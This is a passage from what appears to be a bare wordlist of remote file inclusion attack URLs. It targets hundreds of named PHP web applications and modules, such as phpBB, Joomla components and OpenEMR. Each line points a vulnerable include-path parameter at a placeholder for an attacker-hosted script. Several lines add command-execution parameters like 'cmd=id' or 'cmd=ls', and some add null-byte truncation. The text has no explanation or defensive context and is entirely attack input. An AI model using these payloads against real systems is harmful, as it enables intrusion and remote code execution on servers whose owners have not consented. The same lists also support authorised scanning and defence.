/usercp_register.php?phpbb_root_path=XXpathXX?\n/includes/usercp_viewprofile.php?phpbb_root_path=XXpathXX?\n/includes/xhtml.php?d_root=XXpathXX?\n/index.php3?Application_Root=XXpathXX\n/index.php?1=lol&PAGES[lol]=XXpathXX\n/index.php?AML_opensite=XXpathXX\n/index.php?AMV_openconfig=1&AMV_serverpath=XXpathXX\n/index.php?CONFIG[MWCHAT_Libs]=XXpathXX?\n/index.php?ConfigDir=XXpathXX\n/index.php?DIR_PLUGINS=XXpathXX\n/index.php?G_JGALL[inc_path]=XXpathXX%00\n/index.php?HomeDir=XXpathXX\n/index.php?Lang=AR&Page=XXpathXX\n/index.php?Madoa=XXpathXX?\n/index.php?RP_PATH=XXpathXX\n/index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid=1&GLOBALS=&mosConfig_absolute_path=XXpathXX\n/index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=XXpathXX\n/index.php?abg_path=XXpathXX?\n/index.php?abs_path=XXpathXX?\n/index.php?adduser=true&lang=XXpathXX\n/index.php?adodb=XXpathXX\n/index.php?ads_file=XXpathXX\n/index.php?arquivo=XXpathXX\n/index.php?back=XXpathXX\n/index.php?base==XXpathXX\n/index.php?basePath=XXpathXX\n/index.php?bibtexrootrel=XXpathXX?\n/index.php?blog_dc_path=XXpathXX\n/index.php?blog_theme=XXpathXX\n/index.php?body=XXpathXX\n/index.php?class_path=XXpathXX?\n/index.php?classified_path=XXpathXX?\n/index.php?cms=XXpathXX?\n/index.php?config[\"sipssys\"]=XXpathXX\n/index.php?config[root_ordner]=XXpathXX?&cmd=id\n/index.php?config[root_ordner]=XXpathXX?cmd=id\n/index.php?config_atkroot=XXpathXX\n/index.php?configuration=XXpathXX\n/index.php?custom_admin_path=XXpathXX?\n/index.php?dateiPfad=XXpathXX?&cmd=ls\n/index.php?de=XXpathXX\n/index.php?dept=XXpathXX\n/index.php?do=XXpathXX\n/index.php?exec=XXpathXX?\n/index.php?ext=XXpathXX\n/index.php?faq_path=XXpathXX?&cmd=id\n/index.php?file_name[]=XXpathXX?\n/index.php?file_path=XXpathXX?\n/index.php?fileloc=XXpathXX\n/index.php?from=XXpathXX\n/index.php?func=XXpathXX?\n/index.php?function=XXpathXX\n/index.php?function=custom&custom=XXpathXX\n/index.php?gOo=XXpathXX\n/index.php?gen=XXpathXX\n/index.php?get=XXpathXX\n/index.php?home_name=XXpathXX\n/index.php?ilang=XXpathXX?\n/index.php?inc_dir=XXpathXX\n/index.php?inc_dir=XXpathXX?\n/index.php?includeDir=XXpathXX\n/index.php?includeFooter=XXpathXX\n/index.php?includesdir=XXpathXX\n/index.php?insPath=XXpathXX\n/index.php?lang=XXpathXX\n/index.php?language=XXpathXX?\n/index.php?language=en&main_page=XXpathXX\n/index.php?lizge=XXpathXX?&cmd=ls\n/index.php?lng=XXpathXX\n/index.php?load=XXpathXX\n/index.php?loadpage=XXpathXX\n/index.php?main_tabid=1&main_content=XXpathXX\n/index.php?may=XXpathXX\n/index.php?middle=XXpathXX\n/index.php?mode=XXpathXX\n/index.php?modpath=XXpathXX\n/index.php?module=PostWrap&page=XXpathXX\n/index.php?mosConfig_absolute_path=XXpathXX\n/index.php?news7[\"functions\"]=XXpathXX\n/index.php?news_include_path=XXpathXX\n/index.php?open=XXpathXX\n/index.php?option=com_custompages&cpage=XXpathXX?\n/index.php?page=XXpathXX\n/index.php?page=XXpathXX%00\n/index.php?page=XXpathXX?\n/index.php?pageXXpathXX\n/index.php?page[path]=XXpathXX?&cmd=ls\n/index.php?pagename=XXpathXX\n/index.php?pager=XXpathXX\n/index.php?pagina=XXpathXX?\n/index.php?path_to_folder=XXpathXX?cmd=id\n/index.php?pg=XXpathXX?\n/index.php?phpbb_root_path=XXpathXX\n/index.php?plugin=XXpathXX\n/index.php?principal=XXpathXX\n/index.php?proMod=XXpathXX\n/index.php?proMod=XXpathXX?cmd\n/index.php?project=XXpathXX\n/index.php?repinc=XXpathXX?\n/index.php?root_prefix=XXpathXX\n/index.php?root_prefix=XXpathXX?\n/index.php?section=XXpathXX\n/index.php?site=XXpathXX\n/index.php?site_path=XXpathXX\n/index.php?styl[top]=XXpathXX??\n/index.php?template=XXpathXX?\n/index.php?templates_dir=XXpathXX?\n/index.php?theme=XXpathXX\n/index.php?themepath=XXpathXX?\n/index.php?themesdir=XXpathXX\n/index.php?this_path=XXpathXX?\n/index.php?txt=XXpathXX\n/index.php?up=XXpathXX\n/index.php?url=XXpathXX\n/index.php?w=XXpathXX\n/index.php?way=XXpathXX??????????????\n/index1.php?=XXpathXX\n/index1.php?inc=XXpathXX\n/index1.php?inhalt=XXpathXX\n/index2.php?=XXpathXX\n/index2.php?content=XXpathXX\n/index2.php?s=XXpathXX\n/index2.php?x=XXpathXX\n/indexinfo.php?bibtexrootrel=XXpathXX?\n/indexk.php?lib_path=XXpathXX?\n/info.php?file=XXpathXX\n/inhalt.php?dateien[news]=XXpathXX?\n/init.php?API_HOME_DIR=XXpathXX\n/init.php?scriptpath=XXpathXX?\n/initialize.php?hmail_config[includepath]=XXpathXX&cmd=dir\n/initiate.php?abs_path=XXpathXX\n/install.php?_NE[AbsPath]=XXpathXX\n/install.php?install_dir=XXpathXX\n/install/config.php?path=XXpathXX\n/install/di.php?pathtoserverdata=XXpathXX\n/install/index.php?content_php=XXpathXX\n/install/install3.php?database=none&cabsolute_path=XXpathXX\n/integration/shortstat/configuration.php?SPL_CFG[dirroot]=XXpathXX?\n/interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=XXpathXX?\n/interact/modules/scorm/lib.inc.php?CONFIG[BASE_PATH]=XXpathXX?\n/interface/billing/billing_process.php?srcdir=XXpathXX?\n/interface/editors/-custom.php?bField[bf_data]=XXpathXX\n/interface/editors/custom.php?bField[bf_data]=XXpathXX\n/interface/new/new_patient_save.php?srcdir=XXpathXX?\n/intern/admin/?rootdir=XXpathXX\n/intern/admin/other/backup.php?admin=1&rootdir=XXpathXX\n/intern/clan/member_add.php?rootdir=XXpathXX\n/intern/config/forum.php?rootdir=XXpathXX\n/intern/config/key_2.php?rootdir=XXpathXX\n/ip.inc.php?type=1&cgipath=XXpathXX\n/ipeer_site/?page=XXpathXX?\n/joinus.php?vwar_root=XXpathXX\n/joinus.php?vwar_root=XXpathXX?&cmd=ls\n/joomla_path/administrator/components/com_x-shop/admin.x-shop?mosConfig_absolute_path=XXpathXX?\n/joomla_path/components/com_articles.php?absolute_path=XXpathXX?\n/js/bbcodepress/bbcode-form.php?BBCODE_path=XXpathXX\n/js/wptable-tinymce.php?ABSPATH=XXpathXX\n/jscript.php?my_ms[root]=XXpathXX?\n/kernel/class/ixpts.class.php?IXP_ROOT_PATH=XXpathXX\n/kernel/loadkernel.php?installPath=XXpathXX\n/kmitaadmin/kmitam/htmlcode.php?file=XXpathXX?\n/ktmlpro/includes/ktedit/toolbar.php?dirDepth=XXpathXX\n/lang/leslangues.php?fichier=XXpathXX\n/lang_english/lang_main_album.php?phpbb_root_path=XXpathXX?a=\n/language/lang_english/lang_activity.php?phpbb_root_path=XXpathXX\n/language/lang_english/lang_admin_album.php?phpbb_root_path=XXpathXX?a=\n/language/lang_german/lang_admin_album.php?phpbb_root_path=XXpathXX?a=\n/language/lang_german/lang_main_album.php?phpbb_root_path=XXpathXX?a=\n/latestposts.php?forumspath=XXpathXX\n/latex.php?bibtexrootrel=XXpathXX?\n/layout/default/params.php?gConf[dir][layouts]=XXpathXX?\n/ldap/authldap.php?includePath=XXpathXX\n/learnPath/include/scormExport.inc.php?includePath=XXpathXX\n/lib.editor.inc.php?sys_path=XXpathXX?\n/lib/Loggix/Module/Calendar.php?pathToIndex=XXpathXX\n/lib/Loggix/Module/Comment.php?pathToIndex=XXpathXX\n/lib/Loggix/Module/Rss.php?pathToIndex=XXpathXX\n/lib/Loggix/Module/Trackback.php?pathToIndex=XXpathXX\n/lib/action/rss.php?lib=XXpathXX?\n/lib/activeutil.php?set[include_path]=XXpathXX?\n/lib/addressbook.php?GLOBALS[basedir]=XXpathXX\n/lib/armygame.php?libpath=XXpathXX\n/lib/authuser.php?root=XXpathXX\n/lib/base.php?BaseCfg[BaseDir]=XXpathXX\n/lib/connect.php?root=XXpathXX\n/lib/connected_users.lib.php3?ChatPath=XXpathXX\n/lib/connected_users.lib.php3?ChatPath=XXpathXX?\n/lib/db/mysql.class.php?root=XXpathXX\n/lib/db/postgres.class.php?root=XXpathXX\n/lib/functions.php?DOC_ROOT=XXpathXX\n/lib/googlesearch/GoogleSearch.php?APP[path][lib]=XXpathXX?\n/lib/header.php?DOC_ROOT=XXpathXX\n/lib/language.php?_LIB_DIR=XXpathXX\n/lib/live_status.lib.php?ROOT=XXpathXX\n/lib/misc.php?root=XXpathXX\n/lib/nl/nl.php?g_strRootDir=XXpathXX\n/lib/obj/collection.class.php?GLOBALS[application][app_root]=XXpathXX\n/lib/obj/content_image.class.php?GLOBALS[application][app_root]=XXpathXX\n/lib/pcltar.lib.php?g_pcltar_lib_dir=XXpathXX\n/lib/pcltrace.lib.php?g_pcltar_lib_dir=XXpathXX\n/lib/rs.php?rootpath=XXpathXX\n/lib/selectlang.php?BBC_LANGUAGE_PATH=XXpathXX\n/lib/smarty/SmartyFU.class.php?system[smarty][dir]=XXpathXX?\n/lib/static/header.php?set_menu=XXpathXX\n/lib/tpl.inc.php?conf[classpath]=XXpathXX\n/libraries/comment/postComment.php?path[cb]=XXpathXX?a=\n/libraries/database.php?path=XXpathXX???\n/libraries/lib-remotehost.inc.php?phpAds_geoPlugin=XXpathXX\n/libraries/pcl/pcltar.php?g_pcltar_lib_dir=XXpathXX\n/library/authorize.php?login_form=XXpathXX?\n/library/translation.inc.php?GLOBALS[srcdir]=XXpathXX?\n/libs/db.php?path_local=XXpathXX\n/libs/ftp.php?path_local=XXpathXX\n/libs/lom.php?ETCDIR=XXpathXX\n/libsecure.php?abs_path=XXpathXX?\n/license.php?CONFIG[MWCHAT_Libs]=XXpathXX?\n/link_main.php?phpbb_root_path=XXpathXX\n/linkadmin.php?page=XXpathXX?\n/linksnet_newsfeed/linksnet_linkslog_rss.php?dirpath_linksnet_newsfeed=XXpathXX?\n/list.php?phpbb_root_path=XXpathXX\n/lms_path/modules/userpanel.php?CONFIG[directories][userpanel_dir]=XXpathXX\n/lms_path/modules/welcome.php?_LIB_DIR=XXpathXX\n/load_lang.php?_SERWEB[configdir]=XXpathXX\n/load_lang.php?_SERWEB[serwebdir]=XXpathXX\n/load_phplib.php?_PHPLIB[libdir]=XXpathXX\n/loader.php?GLOBALS=XXpathXX\n/local/lib/lcUser.php?LIBDIR=XXpathXX?\n/log.php?bibtexrootrel=XXpathXX?\n/login.php3?cl_headers=XXpathXX\n/login.php?base_dir=XXpathXX\n/login.php?blog_theme=XXpathXX\n/login.php?langfile=XXpathXX\n/login.php?pachtofile=XXpathXX\n/login.php?srcdir=XXpathXX?\n/login.php?value=XXpathXX??\n/lovecms/install/index.php?step=XXpathXX?\n/m2f/m2f_cron.php?m2f_root_path=XXpathXX\n/m2f/m2f_forum.php?m2f_root_path=XXpathXX\n/m2f/m2f_mailinglist.php?m2f_root_path=XXpathXX\n/m2f/m2f_phpbb204.php?m2f_root_path=XXpathXX\n/maguz.php?site=XXpathXX\n/mail/childwindow.inc.php?form=XXpathXX?\n/mail/content/fnc-readmail3.php?__SOCKETMAIL_ROOT=XXpathXX?\n/mail_this_entry/mail_autocheck.php?pm_path=XXpathXX?&cmd=ls\n/main.inc.php?pathtoscript=XXpathXX\n/main.php?config[search_disp]=true&include_dir=XXpathXX\n/main.php?id=XXpathXX\n/main.php?include_path=XXpathXX?\n/main.php?pageURL=XXpathXX\n/main.php?pagina=XXpathXX\n/main/forum/komentar.php?site_path=XXpathXX\n/main/main.php?pi=XXpathXX\n/main/ppcbannerclick.php?INC=XXpathXX?\n/main/ppcclick.php?INC=XXpathXX?\n/main_prepend.php?_SERWEB[functionsdir]=XXpathXX\n/mainpage.php?docroot=XXpathXX?cmd\n/mamboleto.php?mosConfig_absolute_path=XXpathXX\n/mambots/editors/path/jscripts/tiny_mce/plugins/preview/preview.php?mosConfig_absolute_path=XXpathXX\n/manage_songs.php?foing_root_path=XXpathXX\n/manager/admin/index.php?MGR=XXpathXX\n/manager/admin/p_ins.php?MGR=XXpathXX\n/manager/admin/u_ins.php?MGR=XXpathXX\n/manager/articles.php?_PX_config[manager_path]=XXpathXX\n/manager/static/view.php?propID=0&INC=XXpathXX\n/master.php?root_path=XXpathXX\n/mcNews/admin/header.php?skinfile=XXpathXX\n/mcf.php?content=XXpathXX\n/mcnews/admin/install.php?l=XXpathXX\n/mediagallery/public_html/maint/ftpmedia.php?_MG_CONF[path_html]=XXpathXX\n/member.php?vwar_root=XXpathXX\n/member/usercp_menu.php?script_folder=XXpathXX\n/members/index.php?INC=XXpathXX?\n/members/registration.php?INC=XXpathXX?\n/members_help.php?hlp=XXpathXX?\n/membres/membreManager.php?include_path=XXpathXX?\n/menu.php3?cl_headers=XXpathXX\n/menu.php?functions_file=XXpathXX\n/mep/frame.php?chem=XXpathXX?\n/microcms/includes/file_manager/special.php?fm_includes_special=XXpathXX\n/middle.php?file=XXpathXX\n/migrateNE2toNE3.php?_NE[AbsPath]=XXpathXX\n/mindmeld/acweb/admin_index.php?MM_GLOBALS[home]=XXpathXX?\n/mindmeld/include/ask.inc.php?MM_GLOBALS[home]=XXpathXX?\n/mindmeld/include/learn.inc.php?MM_GLOBALS[home]=XXpathXX?\n/mindmeld/include/manage.inc.php?MM_GLOBALS[home]=XXpathXX?\n/mindmeld/include/mind.inc.php?MM_GLOBALS[home]=XXpathXX?\n/mindmeld/include/sensory.inc.php?MM_GLOBALS[home]=XXpathXX?\n/mini-pub.php/front-end/img.php?sFileName=XXpathXX?\n/minimal/wiki.php?page=XXpathXX?\n/misc/function.php3?path=XXpathXX?\n/mitglieder.php?config[root_ordner]=XXpathXX?&cmd=id\n/mkportal/include/user.php?MK_PATH=XXpathXX\n/mkportal/include/user.php?MK_PATH=XXpathXX?\n/mod/authent.php4?rootpath=XXpathXX\n/mod/image/index.php?config[pathMod]=XXpathXX\n/mod/liens/index.php?config[pathMod]=XXpathXX\n/mod/liste/index.php?config[pathMod]=XXpathXX\n/mod/special/index.php?config[pathMod]=XXpathXX\n/mod/texte/index.php?config[pathMod]=XXpathXX\n/mod_membre/inscription.php?chemin=XXpathXX?\n/mod_phpalbum/sommaire_admin.php?chemin=XXpathXX?\n/modernbill/include/html/config.php?DIR=XXpathXX\n/modifyform.html?code=XXpathXX\n/mods/business_functions.php?GALLERY_BASEDIR=XXpathXX\n/mods/config/load.inc.php?moddir=XXpathXX?\n/mods/http/load.inc.php?moddir=XXpathXX?\n/mods/ui_functions.php?GALLERY_BASEDIR=XXpathXX\n/module/forum/forum.php?fd=XXpathXX=';\n/module/forum/main.php?id=1&main_dir=XXpathXX?&\n/modules.php?name=XXpathXX&file=article&sid=2\n/modules/4nAlbum/public/displayCategory.php?basepath=XXpathXX\n/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=XXpathXX\n/modules/Calendar/admin/update.php?calpath=XXpathXX?\n/modules/Calendar/calendar.php?calpath=XXpathXX?\n/modules/Calendar/scheme.php?calpath=XXpathXX?\n/modules/Discipline/CategoryBreakdownTime.php?FocusPath=XXpathXX\n/modules/Discipline/CategoryBreakdownTime.php?staticpath=XXpathXX\n/modules/Discipline/StudentFieldBreakdown.php?staticpath=XXpathXX\n/modules/Forums/admin/admin_styles.php?phpbb_root_path=XXpathXX\n/modules/MusooTemplateLite.php?GLOBALS[ini_array][EXTLIB_PATH]=XXpathXX\n/modules/My_eGallery/index.php?basepath=XXpathXX\n/modules/My_eGallery/public/displayCategory.php?basepath=XXpathXX\n/modules/Mysqlfinder/MysqlfinderAdmin.php?_SESSION[PATH_COMPOSANT]=XXpathXX?\n/modules/NukeAI/util.php?AIbasedir=XXpathXX\n/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=XXpathXX\n/modules/SoundImporter.php?GLOBALS[ini_array][EXTLIB_PATH]=XXpathXX\n/modules/abook/foldertree.php?baseDir==XXpathXX?\n/modules/addons/plugin.php?doc_root=XXpathXX\n/modules/admin/include/config.php?doc_root=XXpathXX\n/modules/admin/include/localize.php?doc_root=XXpathXX\n/modules/agendax/addevent.inc.php?agendax_path=XXpathXX&cmd=id\n/modules/bank/includes/design/main.inc.php?bank_data[root]=XXpathXX?\n/modules/basicfog/basicfogfactory.class.php?PATH_TO_CODE=XXpathXX\n/modules/birstday/birst.php?exbb[home_path]=XXpathXX?\n/modules/birstday/profile_show.php?exbb[home_path]=XXpathXX?\n/modules/birstday/select.php?exbb[home_path]=XXpathXX?\n/modules/blocks/headerfile.php?system[path]=XXpathXX\n/modules/calendar/index.php?inc_dir=XXpathXX\n/modules/calendar/minicalendar.php?GLOBALS[rootdp]=./&GLOBALS[gsLanguage]=XXpathXX?\n/modules/calendar/mod_calendar.php?absolute_path=XXpathXX?\n/modules/certinfo/index.php?full_path=XXpathXX\n/modules/character_roster/include.php?mod_root=XXpathXX?\n/modules/cjaycontent/admin/editor2/spaw_control.class.php?spaw_root=XXpathXX?\n/modules/coppermine/themes/default/theme.php?THEME_DIR=XXpathXX\n/modules/downloads/lib/LM_Downloads.php?pathToIndex=XXpathXX\n/modules/dungeon/tick/allincludefortick.php?PATH_TO_CODE=XXpathXX\n/modules/emails/index.php?full_path=XXpathXX\n/modules/events/index.php?full_path=XXpathXX\n/modules/fax/index.php?full_path=XXpathXX\n/modules/files/blocks/latest_files.php?system[path]=XXpathXX\n/modules/files/index.php?full_path=XXpathXX\n/modules/files/list.php?full_path=XXpathXX\n/modules/filters/headerfile.php?system[path]=XXpathXX\n/modules/formmailer/formmailer.admin.inc.php?BASE_DIR[jax_formmailer]=XXpathXX?\n/modules/forums/blocks/latest_posts.php?system[path]=XXpathXX\n/modules/global/inc/content.inc.php?sIncPath=XXpathXX?\n/modules/groupadm/index.php?full_path=XXpathXX\n/modules/groups/headerfile.php?system[path]=XXpathXX\n/modules/guestbook/index.php?CONFIG[local_root]=XXpathXX?\n/modules/history/index.php?full_path=XXpathXX\n/modules/home.module.php?repmod=XXpathXX?\n/modules/horoscope/footer.php?xoopsConfig[root_path]=XXpathXX\n/modules/icontent/include/wysiwyg/spaw_control.class.php?spaw_root=XXpathXX\n/modules/info/index.php?full_path=XXpathXX\n/modules/links/blocks/links.php?system[path]=XXpathXX\n/modules/links/showlinks.php?language_home=&rootdp=zZz&gsLanguage=XXpathXX\n/modules/links/submit_links.php?rootdp=zZz&gsLanguage=XXpathXX\n/modules/log/index.php?full_path=XXpathXX\n/modules/mail/index.php?full_path=XXpathXX\n/modules/menu/headerfile.php?system[path]=XXpathXX\n/modules/messages/index.php?full_path=XXpathXX\n/modules/mod_as_category.php?mosConfig_absolute_path=XXpathXX\n/modules/mod_as_category/mod_as_category.php?mosConfig_absolute_path=XXpathXX\n/modules/mod_calendar.php?absolute_path=XXpathXX\n/modules/mod_flatmenu.php?mosConfig_absolute_path=XXpathXX\n/modules/mod_mainmenu.php?mosConfig_absolute_path=XXpathXX\n/modules/mod_weather.php?absolute_path=XXpathXX?\n/modules/mx_smartor/admin/admin_album_otf.php?phpbb_root_path=XXpathXX?\n/modules/newbb_plus/config.php?bbPath[root_theme]=XXpathXX\n/modules/newbb_plus/votepolls.php?bbPath[path]=XXpathXX\n/modules/news/blocks/latest_news.php?system[path]=XXpathXX\n/modules/newusergreatings/pm_newreg.php?exbb[home_path]=XXpathXX?\n/modules/organizations/index.php?full_path=XXpathXX\n/modules/phones/index.php?full_path=XXpathXX\n/modules/pms/index.php?module_path=XXpathXX???\n/modules/poll/inlinepoll.php?language_home=&rootdp=zZz&gsLanguage=XXpathXX\n/modules/poll/showpoll.php?language_home=&rootdp=zZz&gsLanguage=XXpathXX\n/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=XXpathXX?\n/modules/presence/index.php?full_path=XXpathXX\n/modules/projects/index.php?full_path=XXpathXX\n/modules/projects/list.php?full_path=XXpathXX\n/modules/projects/summary.inc.php?full_path=XXpathXX\n/modules/punish/p_error.php?exbb[home_path]=XXpathXX?\n/modules/punish/profile.php?exbb[home_path]=XXpathXX?\n/modules/reports/index.php?full_path=XXpathXX\n/modules/search/index.php?full_path=XXpathXX\n/modules/search/search.php?language_home=&rootdp=zZz&gsLanguage=XXpathXX?\n/modules/settings/headerfile.php?system[path]=XXpathXX\n/modules/snf/index.php?full_path=XXpathXX\n/modules/syslog/index.php?full_path=XXpathXX\n/modules/tasks/index.php?full_path=XXpathXX\n/modules/tasks/searchsimilar.php?full_path=XXpathXX\n/modules/tasks/summary.inc.php?full_path=XXpathXX\n/modules/threadstop/threadstop.php?exbb[home_path]=XXpathXX?\n/modules/tinycontent/admin/spaw/spaw_control.class.php?spaw_root=XXpathXX\n/modules/tml/block.tag.php?GLOBALS[PTH][classes]=XXpathXX\n/modules/tsdisplay4xoops/blocks/tsdisplay4xoops_block2.php?xoops_url=XXpathXX\n/modules/useradm/index.php?full_path=XXpathXX\n/modules/users/headerfile.php?system[path]=XXpathXX\n/modules/vWar_Account/includes/functions_common.php?vwar_root2=XXpathXX\n/modules/visitors2/include/config.inc.php?lvc_include_dir=XXpathXX?\n/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=XXpathXX\n/modules/wiwimod/spaw/spaw_control.class.php?spaw_root=XXpathXX\n/modules/xfsection/modify.php?dir_module=XXpathXX\n/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=XXpathXX\n/modules/xt_conteudo/admin/spaw/spaw_control.class.php?spaw_root=XXpathXX\n/modules/xt_conteudo/admin/spaw/spaw_control.class.php?spaw_root=XXpathXX?\n/modulistica/mdl_save.php?CLASSPATH=XXpathXX\n/modx-0.9.6.2/assets/snippets/reflect/snippet.reflect.php?reflect_base=XXpathXX?\n/moodle/admin/utfdbmigrate.php?cmd=XXpathXX\n/moosegallery/display.php?type=XXpathXX?&cmd=[command]\n/mostlyce/jscripts/tiny_mce/plugins/htmltemplate/htmltemplate.php?mosConfig_absolute_path=XXpathXX\n/moteur/moteur.php?chemin=XXpathXX?\n/movie_cls.php?full_path=XXpathXX\n/msDb.php?GLOBALS[ini_array][EXTLIB_PATH]=XXpathXX\n/music/buycd.php?HTTP_DOCUMENT_ROOT=XXpathXX?\n/mutant_includes/mutant_functions.php?phpbb_root_path=XXpathXX\n/mxBB/modules/kb_mods/includes/kb_constants.php?module_root_path=XXpathXX\n/mxBB/modules/mx_newssuite/includes/newssuite_constants.php?mx_root_path=XXpathXX\n/mygallery/myfunctions/mygallerybrowser.php?myPath=XXpathXX\n/myphpcommander_path/system/lib/package.php?gl_root=XXpathXX?cmd\n/mysave.php?file=XXpathXX\n/naboard_pnr.php?skin=XXpathXX?\n/ncaster/admin/addons/archive/archive.php?adminfolder=XXpathXX\n/network_module_selector.php?path_prefix=XXpathXX\n/news.php?CONFIG[script_path]=XXpathXX?\n/news.php?config[root_ordner]=XXpathXX?&cmd=id\n/news.php?scriptpath=XXpathXX?\n/news.php?vwar_root=XXpathXX\n/news/include/createdb.php?langfile;=XXpathXX?\n/news/include/customize.php?l=XXpathXX?\n/news/newstopic_inc.php?indir=XXpathXX\n/news/scripts/news_page.php?script_path=XXpathXX?\n/newsadmin.php?action=XXpathXX\n/newsarchive.php?path_to_script=XXpathXX?&cmd=ls\n/newsfeeds/includes/aggregator.php?zf_path=XXpathXX\n/newsfeeds/includes/controller.php?zf_path=XXpathXX\n/newsletter/newsletter.php?waroot=XXpathXX\n/newsp/lib/class.Database.php?path=XXpathXX?\n/newticket.php?lang=XXpathXX\n/noah/modules/noevents/templates/mfa_theme.php?tpls[1]=XXpathXX\n/noticias.php?inc=XXpathXX?\n/nucleus/plugins/skinfiles/index.php?DIR_LIBS=XXpathXX\n/nuke_path/iframe.php?file=XXpathXX\n/nukebrowser.php?filnavn=XXpathXX&filhead=XXpathXX&cmd=id\n/nuseo/admin/nuseo_admin_d.php?nuseo_dir=XXpathXX?\n/oaboard_en/forum.php?inc=XXpathXX\n/ocp-103/index.php?req_path=XXpathXX\n/ocs/include/footer.inc.php?fullpath=XXpathXX?\n/ocs/include/theme.inc.php?fullpath=XXpathXX?\n/ocs/openemr-2.8.2/custom/import_xml.php?srcdir=XXpathXX?\n/olbookmarks-0.7.4/themes/test1.php?XXpathXX\n/oneadmin/adminfoot.php?path[docroot]=XXpathXX\n/oneadmin/blogger/sampleblogger.php?path[docroot]=XXpathXX?\n/oneadmin/config-bak.php?include_once=XXpathXX\n/oneadmin/config.php?path[docroot]=XXpathXX\n/oneadmin/ecommerce/sampleecommerce.php?path[docroot]=XXpathXX?\n/online.php?config[root_ordner]=XXpathXX?&cmd=id\n/open-admin/plugins/site_protection/index.php?config%5boi_dir%5d=XXpathXX?\n/openi-admin/base/fileloader.php?config[openi_dir]=XXpathXX\n/openrat/themes/default/include/html/insert.inc.php?tpl_dir=XXpathXX???\n/opensurveypilot/administration/user/lib/group.inc.php?cfgPathToProjectAdmin=XXpathXX\n/ops/gals.php?news_file=XXpathXX\n/order/login.php?svr_rootscript=XXpathXX\n/osData/php121/php121db.php?php121dir=XXpathXX%00\n/ossigeno-suite-2.2_pre1/upload/xax/admin/modules/uninstall_module.php?level=XXpathXX?\n/ossigeno_modules/ossigeno-catalogo/xax/ossigeno/catalogo/common.php?ossigeno=XXpathXX?\n/owimg.php3?path=XXpathXX\n/p-news.php?pn_lang=XXpathXX\n/pafiledb/includes/pafiledb_constants.php?module_root_path=XXpathXX\n/page.php?goto=XXpathXX\n/page.php?id=XXpathXX\n/panel/common/theme/default/header_setup.php?path[docroot]=XXpathXX\n/param_editor.php?folder=XXpathXX?\n/parse/parser.php?WN_BASEDIR=XXpathXX\n/patch/?language_id=XXpathXX\n/patch/tools/send_reminders.php?noSet=0&includedir=XXpathXX?\n/paypalipn/ipnprocess.php?INC=XXpathXX?\n/pda/pda_projects.php?offset=XXpathXX\n/phfito/phfito-post?SRC_PATH=XXpathXX\n/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=XXpathXX\n/photo_comment.php?toroot=XXpathXX\n/php-inc/log.inc.php?SKIN_URL=XXpathXX\n/php-include-robotsservices.php?page=XXpathXX\n/php-nuke/modules/Forums/admin/admin_styles.php?phpbb_root_path=XXpathXX\n/php.incs/common.inc.php?cm_basedir=XXpathXX?\n/php/init.gallery.php?include_class=XXpathXX/something\n/php121db.php?php121dir=XXpathXX%00\n/php4you.php?dir=XXpathXX?\n/phpAdsNew-2.0.7/libraries/lib-remotehost.inc?phpAds_geoPlugin=XXpathXX?\n/phpBB2/shoutbox.php?phpbb_root_path=XXpathXX\n/phpCards.header.php?CardPath=XXpathXX?\n/phpGedView/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY=XXpathXX\n/phpMyChat.php3?=XXpathXX?cmd=id\n/phpMyConferences_8.0.2/common/visiteurs/include/menus.inc.php?lvc_include_dir=XXpathXX?\n/phpQLAdmin-2.2.7/ezmlm.php?_SESSION[path]=XXpathXX?\n/phpSiteBackup-0.1/pcltar.lib.php?g_pcltar_lib_dir=XXpathXX\n/phpbb/sendmsg.php?phpbb_root_path=XXpathXX\n/phpcalendar/includes/calendar.php?phpc_root_path=XXpathXX?\n/phpcalendar/includes/setup.php?phpc_root_path=XXpathXX?\n/phpdebug_PATH/test/debug_test.php?debugClassLocation=XXpathXX\n/phpffl/phpffl_webfiles/program_files/livedraft/admin.php?PHPFFL_FILE_ROOT=XXpathXX\n/phpffl/phpffl_webfiles/program_files/livedraft/livedraft.php?PHPFFL_FILE_ROOT=XXpathXX\n/phphd_downloads/common.php?phphd_real_path=XXpathXX\n/phphost_directoryv2/include/admin.php?rd=XXpathXX?\n/phphtml.php?htmlclass_path=XXpathXX\n/phpi/edit_top_feature.php?include_connection=XXpathXX\n/phpi/edit_topics_feature.php?include_connection=XXpathXX\n/phplib/site_conf.php?ordnertiefe=XXpathXX\n/phplib/version/1.3.3/functionen/class.csv.php?tt_docroot=XXpathXX\n/phplib/version/1.3.3/functionen/produkte_nach_serie.php?tt_docroot=XXpathXX\n/phplib/version/1.3.3/functionen/ref_kd_rubrik.php?tt_docroot=XXpathXX\n/phplib/version/1.3.3/module/hg_referenz_jobgalerie.php?tt_docroot=XXpathXX\n/phplib/version/1.3.3/module/produkte_nach_serie_alle.php?tt_docroot=XXpathXX\n/phplib/version/1.3.3/module/ref_kd_rubrik.php?tt_docroot=XXpathXX\n/phplib/version/1.3.3/module/referenz.php?tt_docroot=XXpathXX\n/phplib/version/1.3.3/module/surfer_aendern.php?tt_docroot=XXpathXX\n/phplib/version/1.3.3/module/surfer_anmeldung_NWL.php?tt_docroot=XXpathXX\n/phplib/version/1.3.3/standard/1/lay.php?tt_docroot=XXpathXX\n/phplib/version/1.3.3/standard/3/lay.php?tt_docroot=XXpathXX\n/phplinks/includes/smarty.php?full_path_to_public_program=XXpathXX\n/phporacleview/inc/include_all.inc.php?page_dir=XXpathXX?\n/phppc/poll.php?is_phppc_included=1&relativer_pfad=XXpathXX?\n/phppc/poll_kommentar.php?is_phppc_included=1&relativer_pfad=XXpathXX?\n/phppc/poll_sm.php?is_phppc_included=1&relativer_pfad=XXpathXX?\n/phpquickgallery/gallery_top.inc.php?textFile=XXpathXX\n/phpreactor/inc/polls.inc.php?pathtohomedir=XXpathXX?\n/phpreactor/inc/updatecms.inc.php?pathtohomedir=XXpathXX?\n/phpreactor/inc/users.inc.php?pathtohomedir=XXpathXX?\n/phpreactor/inc/view.inc.php?pathtohomedir=XXpathXX?\n/